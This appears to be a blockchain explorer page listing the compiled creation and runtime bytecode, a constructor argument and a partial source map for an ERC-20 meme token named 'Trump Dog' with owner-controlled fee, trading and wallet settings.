090869030904290600401611f5b565b600060405180830381600087803b158015611a6b57600080fd5b505af1158015611a7f573d6000803e3d6000fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611acb573d6000803e3d6000fd5b5050565b600080611adc8385611efd565b9050838110156118c25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fa565b60006118c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611806565b60008183611b915760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f23565b60006020808352835180602085015260005b81811015611bcc57858101830151858201604001528201611bb0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063c57600080fd5b60008060408385031215611c1557600080fd5b8235611c2081611bed565b946020939093013593505050565b600080600060608486031215611c4357600080fd5b8335611c4e81611bed565b92506020840135611c5e81611bed565b929592945050506040919091013590565b600060208284031215611c8157600080fd5b81356118c281611bed565b600060208284031215611c9e57600080fd5b5035919050565b801515811461063c57600080fd5b600060208284031215611cc557600080fd5b81356118c281611ca5565b60008060408385031215611ce357600080fd5b8235611cee81611bed565b91506020830135611cfe81611bed565b809150509250929050565b60008060408385031215611d1c57600080fd5b8235611c2081611ca5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611dad578160001904821115611d9357611d93611d5c565b80851615611da057918102915b93841c9390800290611d77565b509250929050565b600082611dc4575060016105ca565b81611dd1575060006105ca565b8160018114611de75760028114611df157611e0d565b60019150506105ca565b60ff841115611e0257611e02611d5c565b50506001821b6105ca565b5060208310610133831016604e8410600b8410161715611e30575081810a6105ca565b611e3a8383611d72565b8060001904821115611e4e57611e4e611d5c565b029392505050565b60006118c260ff841683611db5565b80820281158282048414176105ca576105ca611d5c565b600060208284031215611e8e57600080fd5b81516118c281611bed565b600080600060608486031215611eae57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ed957600080fd5b81516118c281611ca5565b600060018201611ef657611ef6611d5c565b5060010190565b808201808211156105ca576105ca611d5c565b818103818111156105ca576105ca611d5c565b600082611f4057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611fad5784516001600160a01b031683529383019391830191600101611f88565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220172e785361946b568c88b3598f175250e279049668be96365616dbf2a605658864736f6c6343000817003300000000000000000000000070074e922dd2cc52db1aa3f119a773edbd09b3fd

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80637b7cfc01116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610503578063e68d0b0514610549578063f2fde38b14610569578063f5b3c3bf1461058957600080fd5b8063a9059cbb1461048d578063bf474bed146104ad578063c4e2b619146104c3578063d45cce65146104e357600080fd5b80638f9a55c0116100d15780638f9a55c01461040957806390b605491461041f57806390d49b9d1461043f57806395d89b411461045f57600080fd5b80637b7cfc01146103c05780637d1db4a5146103d55780638da5cb5b146103eb57600080fd5b8063313ce56711610164578063622565891161013e57806362256589146103405780636e4636671461035557806370a0823114610375578063715018a6146103ab57600080fd5b8063313ce567146102cc57806349bd5a5e146102e857806353bc13dc1461032057600080fd5b80630faee56f116101a05780630faee56f1461025d57806310c435aa1461028157806318160ddd1461029757806323b872dd146102ac57600080fd5b806306fdde03146101d2578063095ea7b3146102165780630f144a481461024657600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506040805180820190915260098152685472756d7020446f6760b81b60208201525b60405161020d9190611b9e565b60405180910390f35b34801561022257600080fd5b50610236610231366004611c02565b6105b9565b604051901515815260200161020d565b34801561025257600080fd5b5061025b6105d0565b005b34801561026957600080fd5b5061027360155481565b60405190815260200161020d565b34801561028d57600080fd5b5061027360185481565b3480156102a357600080fd5b5061027361063f565b3480156102b857600080fd5b506102366102c7366004611c2e565b610660565b3480156102d857600080fd5b506040516009815260200161020d565b3480156102f457600080fd5b50601754610308906001600160a01b031681565b6040516001600160a01b03909116815260200161020d565b34801561032c57600080fd5b5061025b61033b366004611c6f565b6106c9565b34801561034c57600080fd5b5061025b610717565b34801561036157600080fd5b5061025b610370366004611c8c565b6107c9565b34801561038157600080fd5b50610273610390366004611c6f565b6001600160a01b031660009081526001602052604090205490565b3480156103b757600080fd5b5061025b6107f8565b3480156103cc57600080fd5b5061025b61086c565b3480156103e157600080fd5b5061027360125481565b3480156103f757600080fd5b506000546001600160a01b0316610308565b34801561041557600080fd5b5061027360135481565b34801561042b57600080fd5b5061025b61043a366004611cb3565b610c6f565b34801561044b57600080fd5b5061025b61045a366004611c6f565b610cb5565b34801561046b57600080fd5b50604080518082019091526005815264415050494560d81b6020820152610200565b34801561049957600080fd5b506102366104a8366004611c02565b610d01565b3480156104b957600080fd5b5061027360145481565b3480156104cf57600080fd5b5061025b6104de366004611c02565b610d0e565b3480156104ef57600080fd5b506019546102369062010000900460ff1681565b34801561050f57600080fd5b5061027361051e366004611cd0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055557600080fd5b5061025b610564366004611d09565b610db4565b34801561057557600080fd5b5061025b610584366004611c6f565b610dfc565b34801561059557600080fd5b506102366105a4366004611c6f565b60046020526000908152604090205460ff1681565b60006105c6338484610ee6565b5060015b92915050565b6000546001600160a01b031633146106035760405162461bcd60e51b81526004016105fa90611d27565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561063c573d6000803e3d6000fd5b50565b600061064d6009600a611e56565b61065b90633b9aca00611e65565b905090565b600061066d84848461100a565b6106bf84336106ba85604051806060016040528060288152602001611fcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611806565b610ee6565b5060019392505050565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107415760405162461bcd60e51b81526004016105fa90611d27565b61074d6009600a611e56565b61075b90633b9aca00611e65565b60125561076a6009600a611e56565b61077890633b9aca00611e65565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107a86009600a611e56565b6107b690633b9aca00611e65565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016105fa90611d27565b601855565b6000546001600160a01b031633146108225760405162461bcd60e51b81526004016105fa90611d27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105fa90611d27565b601754600160a01b900460ff16156108f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105fa565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093990309061092b6009600a611e56565b6106ba90633b9aca00611e65565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611e7c565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a369190611e7c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa79190611e7c565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610b27816001600160a01b031660009081526001602052604090205490565b600080610b3c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bc99190611e99565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190611ec7565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6000546001600160a01b03163314610c995760405162461bcd60e51b81526004016105fa90611d27565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b81526004016105fa90611d27565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006105c633848461100a565b6000546001600160a01b03163314610d385760405162461bcd60e51b81526004016105fa90611d27565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daf9190611ec7565b505050565b6000546001600160a01b03163314610dde5760405162461bcd60e51b81526004016105fa90611d27565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b03163314610e265760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b038116610e8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105fa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fa565b6001600160a01b038216610fa95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fa565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661106e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fa565b6001600160a01b0382166110d05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fa565b600081116111325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fa565b6000816111476000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561117657506000546001600160a01b03858116911614155b156116c2576111a760646111a1600c54600f54116111965760085461119a565b600a545b8690611840565b906118c9565b915060075443036112325743600090815260056020526040902054603c116112115760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016105fa565b43600090815260056020526040812080549161122c83611ee4565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561126857506016546001600160a01b03858116911614155b801561128d57506001600160a01b03841660009081526003602052604090205460ff16155b15611375576012548311156112e45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105fa565b60135483611307866001600160a01b031660009081526001602052604090205490565b6113119190611efd565b111561135f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b600f805490600061136f83611ee4565b91905055505b6001600160a01b03841660009081526004602052604090205460ff161580156113b757506001600160a01b03841660009081526003602052604090205460ff16155b1561143757601354836113df866001600160a01b031660009081526001602052604090205490565b6113e99190611efd565b11156114375760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b6001600160a01b03841660009081526004602052604090205460ff16801561146857506001600160a01b0385163014155b156114955761149260646111a1600d54600f54116114885760095461119a565b600b548690611840565b91505b6001600160a01b03851630148015906114c657506001600160a01b03851660009081526003602052604090205460ff165b1561151357600060125484116114de57506016611511565b600d54600f54116114f1576009546114f5565b600b545b60125490915061150e906115098484611840565b61190b565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561155557506001600160a01b03841660009081526004602052604090205460ff16155b801561156a57506001600160a01b0385163014155b1561157457600091505b3060009081526001602052604090205460195462010000900460ff16801561159f575060195460ff16155b80156115c357506001600160a01b03851660009081526004602052604090205460ff165b80156115d65750601954610100900460ff165b80156115e55750600e54600f54115b15611645576011544311156115fa5760006010555b60145481111561161c5761161c611617856115098460155461190b565b611920565b4761162647611a91565b6010805490600061163683611ee4565b909155505043601155506116c0565b60195460ff1615801561167057506001600160a01b03851660009081526004602052604090205460ff165b80156116835750601954610100900460ff165b80156116925750600e54600f54115b156116c0576014548111156116b4576116b4611617856115098460155461190b565b476116be47611a91565b505b505b811561173c57306000908152600160205260409020546116e29083611acf565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117339086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461175f9082611b2e565b6001600160a01b0386166000908152600160205260409020556117a46117858484611b2e565b6001600160a01b03861660009081526001602052604090205490611acf565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117ee8686611b2e565b60405190815260200160405180910390a35050505050565b6000818484111561182a5760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f10565b95945050505050565b600082600003611852575060006105ca565b600061185e8385611e65565b90508261186b8583611f23565b146118c25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fa565b9392505050565b60006118c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b70565b600081831161191a57826118c2565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061196257611962611f45565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119df9190611e7c565b816001815181106119f2576119f2611f45565b6001600160a01b039283166020918202929092010152601654611a189130911684610ee6565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a51908590600090869030904290600401611f5b565b600060405180830381600087803b158015611a6b57600080fd5b505af1158015611a7f573d6000803e3d6000fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611acb573d6000803e3d6000fd5b5050565b600080611adc8385611efd565b9050838110156118c25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fa565b60006118c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611806565b60008183611b915760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f23565b60006020808352835180602085015260005b81811015611bcc57858101830151858201604001528201611bb0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063c57600080fd5b60008060408385031215611c1557600080fd5b8235611c2081611bed565b946020939093013593505050565b600080600060608486031215611c4357600080fd5b8335611c4e81611bed565b92506020840135611c5e81611bed565b929592945050506040919091013590565b600060208284031215611c8157600080fd5b81356118c281611bed565b600060208284031215611c9e57600080fd5b5035919050565b801515811461063c57600080fd5b600060208284031215611cc557600080fd5b81356118c281611ca5565b60008060408385031215611ce357600080fd5b8235611cee81611bed565b91506020830135611cfe81611bed565b809150509250929050565b60008060408385031215611d1c57600080fd5b8235611c2081611ca5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611dad578160001904821115611d9357611d93611d5c565b80851615611da057918102915b93841c9390800290611d77565b509250929050565b600082611dc4575060016105ca565b81611dd1575060006105ca565b8160018114611de75760028114611df157611e0d565b60019150506105ca565b60ff841115611e0257611e02611d5c565b50506001821b6105ca565b5060208310610133831016604e8410600b8410161715611e30575081810a6105ca565b611e3a8383611d72565b8060001904821115611e4e57611e4e611d5c565b029392505050565b60006118c260ff841683611db5565b80820281158282048414176105ca576105ca611d5c565b600060208284031215611e8e57600080fd5b81516118c281611bed565b600080600060608486031215611eae57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ed957600080fd5b81516118c281611ca5565b600060018201611ef657611ef6611d5c565b5060010190565b808201808211156105ca576105ca611d5c565b818103818111156105ca576105ca611d5c565b600082611f4057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611fad5784516001600160a01b031683529383019391830191600101611f88565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220172e785361946b568c88b3598f175250e279049668be96365616dbf2a605658864736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000070074e922dd2cc52db1aa3f119a773edbd09b3fd

-----Decoded View---------------
Arg [0] : _w (address): 0x70074e922dd2Cc52Db1AA3F119a773EDBD09b3Fd

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000070074e922dd2cc52db1aa3f119a773edbd09b3fd


Deployed Bytecode Sourcemap

3758:9855:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5804:83;;;;;;;;;;-1:-1:-1;5874:5:0;;;;;;;;;;;;-1:-1:-1;;;5874:5:0;;;;5804:83;;;;;;;:::i;:::-;;;;;;;;6637:161;;;;;;;;;;-1:-1:-1;6637:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6637:161:0;1023:187:1;12101:111:0;;;;;;;;;;;;;:::i;:::-;;4993:41;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4993:41:0;1215:177:1;5158:32:0;;;;;;;;;;;;;;;;6081:95;;;;;;;;;;;;;:::i;6806:313::-;;;;;;;;;;-1:-1:-1;6806:313:0;;;;;:::i;:::-;;:::i;5990:83::-;;;;;;;;;;-1:-1:-1;5990:83:0;;4637:1;2000:36:1;;1988:2;1973:18;5990:83:0;1858:184:1;5092:28:0;;;;;;;;;;-1:-1:-1;5092:28:0;;;;-1:-1:-1;;;;;5092:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5092:28:0;2047:203:1;7470:96:0;;;;;;;;;;-1:-1:-1;7470:96:0;;;;;:::i;:::-;;:::i;12500:158::-;;;;;;;;;;;;;:::i;11888:102::-;;;;;;;;;;-1:-1:-1;11888:102:0;;;;;:::i;:::-;;:::i;6184:119::-;;;;;;;;;;-1:-1:-1;6184:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6277:18:0;6250:7;6277:18;;;:9;:18;;;;;;;6184:119;2589:148;;;;;;;;;;;;;:::i;12766:807::-;;;;;;;;;;;;;:::i;4828:54::-;;;;;;;;;;;;;;;;2375:79;;;;;;;;;;-1:-1:-1;2413:7:0;2440:6;-1:-1:-1;;;;;2440:6:0;2375:79;;4889:55;;;;;;;;;;;;;;;;11998:95;;;;;;;;;;-1:-1:-1;11998:95:0;;;;;:::i;:::-;;:::i;12376:116::-;;;;;;;;;;-1:-1:-1;12376:116:0;;;;;:::i;:::-;;:::i;5895:87::-;;;;;;;;;;-1:-1:-1;5967:7:0;;;;;;;;;;;;-1:-1:-1;;;5967:7:0;;;;5895:87;;6311:167;;;;;;;;;;-1:-1:-1;6311:167:0;;;;;:::i;:::-;;:::i;4951:35::-;;;;;;;;;;;;;;;;12220:148;;;;;;;;;;-1:-1:-1;12220:148:0;;;;;:::i;:::-;;:::i;5270:29::-;;;;;;;;;;-1:-1:-1;5270:29:0;;;;;;;;;;;6486:143;;;;;;;;;;-1:-1:-1;6486:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6594:18:0;;;6567:7;6594:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6486:143;11737;;;;;;;;;;-1:-1:-1;11737:143:0;;;;;:::i;:::-;;:::i;2745:244::-;;;;;;;;;;-1:-1:-1;2745:244:0;;;;;:::i;:::-;;:::i;4018:43::-;;;;;;;;;;-1:-1:-1;4018:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6637:161;6712:4;6729:39;210:10;6752:7;6761:6;6729:8;:39::i;:::-;-1:-1:-1;6786:4:0;6637:161;;;;;:::o;12101:111::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;;;;;;;;;12161:10:::1;::::0;12153:51:::1;::::0;-1:-1:-1;;;;;12161:10:0;;::::1;::::0;12182:21:::1;12153:51:::0;::::1;;;::::0;12161:10:::1;12153:51:::0;12161:10;12153:51;12182:21;12161:10;12153:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12101:111::o:0;6081:95::-;6134:7;4696:13;4637:1;4696:2;:13;:::i;:::-;4680:29;;:13;:29;:::i;:::-;6154:14;;6081:95;:::o;6806:313::-;6904:4;6921:36;6931:6;6939:9;6950:6;6921:9;:36::i;:::-;6968:121;6977:6;210:10;6999:89;7037:6;6999:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6999:19:0;;;;;;:11;:19;;;;;;;;210:10;6999:33;;;;;;;;;;:37;:89::i;:::-;6968:8;:121::i;:::-;-1:-1:-1;7107:4:0;6806:313;;;;;:::o;7470:96::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7535:16:0::1;;::::0;;;:10:::1;:16;::::0;;;;:23;;-1:-1:-1;;7535:23:0::1;7554:4;7535:23;::::0;;7470:96::o;12500:158::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;4696:13:::1;4637:1;4696:2;:13;:::i;:::-;4680:29;::::0;:13:::1;:29;:::i;:::-;12552:12;:22:::0;4696:13:::1;4637:1;4696:2;:13;:::i;:::-;4680:29;::::0;:13:::1;:29;:::i;:::-;12585:14;:22:::0;12623:27:::1;4696:13;4637:1;4696:2;:13;:::i;:::-;4680:29;::::0;:13:::1;:29;:::i;:::-;12623:27;::::0;1361:25:1;;;1349:2;1334:18;12623:27:0::1;;;;;;;12500:158::o:0;11888:102::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;11960:13:::1;:22:::0;11888:102::o;2589:148::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;2696:1:::1;2680:6:::0;;2659:40:::1;::::0;-1:-1:-1;;;;;2680:6:0;;::::1;::::0;2659:40:::1;::::0;2696:1;;2659:40:::1;2727:1;2710:19:::0;;-1:-1:-1;;;;;;2710:19:0::1;::::0;;2589:148::o;12766:807::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;12829:11:::1;::::0;-1:-1:-1;;;12829:11:0;::::1;;;12828:12;12820:47;;;::::0;-1:-1:-1;;;12820:47:0;;6013:2:1;12820:47:0::1;::::0;::::1;5995:21:1::0;6052:2;6032:18;;;6025:30;6091:25;6071:18;;;6064:53;6134:18;;12820:47:0::1;5811:347:1::0;12820:47:0::1;12878:15;:80:::0;;-1:-1:-1;;;;;;12878:80:0::1;12915:42;12878:80:::0;;::::1;::::0;;;12969:58:::1;::::0;12986:4:::1;::::0;4696:13:::1;4637:1;4696:2;:13;:::i;:::-;4680:29;::::0;:13:::1;:29;:::i;12969:58::-;13072:15;;;;;;;;;-1:-1:-1::0;;;;;13072:15:0::1;-1:-1:-1::0;;;;;13072:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13054:55:0::1;;13118:4;13125:15;;;;;;;;;-1:-1:-1::0;;;;;13125:15:0::1;-1:-1:-1::0;;;;;13125:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13054:94;::::0;-1:-1:-1;;;;;;13054:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6649:15:1;;;13054:94:0::1;::::0;::::1;6631:34:1::0;6701:15;;6681:18;;;6674:43;6566:18;;13054:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13038:13;:110:::0;;-1:-1:-1;;;;;13038:110:0;;::::1;-1:-1:-1::0;;;;;;13038:110:0;;::::1;::::0;::::1;::::0;;:13:::1;13159:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;13159:41:0;;::::1;13038:110:::0;13159:41;;::::1;::::0;;;13227:13;;;::::1;13211:31:::0;;:7:::1;:31:::0;;;;;;:38;;;;::::1;;::::0;;13260:15:::1;::::0;::::1;:31;13299:21;13330:4;13336:24;13330:4:::0;-1:-1:-1;;;;;6277:18:0;6250:7;6277:18;;;:9;:18;;;;;;;6184:119;13336:24:::1;13361:1;13363::::0;13365:7:::1;2413::::0;2440:6;-1:-1:-1;;;;;2440:6:0;;2375:79;13365:7:::1;13260:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13260:129:0;;;-1:-1:-1;;;;;7087:15:1;;;13260:129:0::1;::::0;::::1;7069:34:1::0;7119:18;;;7112:34;;;;7162:18;;;7155:34;;;;7205:18;;;7198:34;7269:15;;;7248:19;;;7241:44;13373:15:0::1;7301:19:1::0;;;7294:35;7003:19;;13260:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13407:13:0::1;::::0;13438:15:::1;::::0;13400:71:::1;::::0;-1:-1:-1;;;13400:71:0;;-1:-1:-1;;;;;13438:15:0;;::::1;13400:71;::::0;::::1;7825:51:1::0;-1:-1:-1;;7892:18:1;;;7885:34;13407:13:0;::::1;::::0;-1:-1:-1;13400:29:0::1;::::0;7798:18:1;;13400:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13482:11:0::1;:18:::0;;-1:-1:-1;;13482:18:0::1;;;::::0;;13511:11:::1;:18:::0;;-1:-1:-1;;;;13511:18:0::1;-1:-1:-1::0;;;13511:18:0::1;::::0;;13553:12:::1;13540:10;:25:::0;12766:807::o;11998:95::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;12065:10:::1;:20:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;12065:20:0;;::::1;::::0;;;::::1;::::0;;11998:95::o;12376:116::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;12450:10:::1;:34:::0;;-1:-1:-1;;;;;;12450:34:0::1;-1:-1:-1::0;;;;;12450:34:0;;;::::1;::::0;;;::::1;::::0;;12376:116::o;6311:167::-;6389:4;6406:42;210:10;6430:9;6441:6;6406:9;:42::i;12220:148::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;12340:10:::1;::::0;12312:48:::1;::::0;-1:-1:-1;;;12312:48:0;;-1:-1:-1;;;;;12340:10:0;;::::1;12312:48;::::0;::::1;7825:51:1::0;7892:18;;;7885:34;;;12312:27:0;;::::1;::::0;::::1;::::0;7798:18:1;;12312:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12220:148:::0;;:::o;11737:143::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;11820:11:::1;:21:::0;;;::::1;;;;-1:-1:-1::0;;11820:21:0;;::::1;::::0;;;::::1;::::0;;;11852:11:::1;:20:::0;11737:143::o;2745:244::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2834:22:0;::::1;2826:73;;;::::0;-1:-1:-1;;;2826:73:0;;8669:2:1;2826:73:0::1;::::0;::::1;8651:21:1::0;8708:2;8688:18;;;8681:30;8747: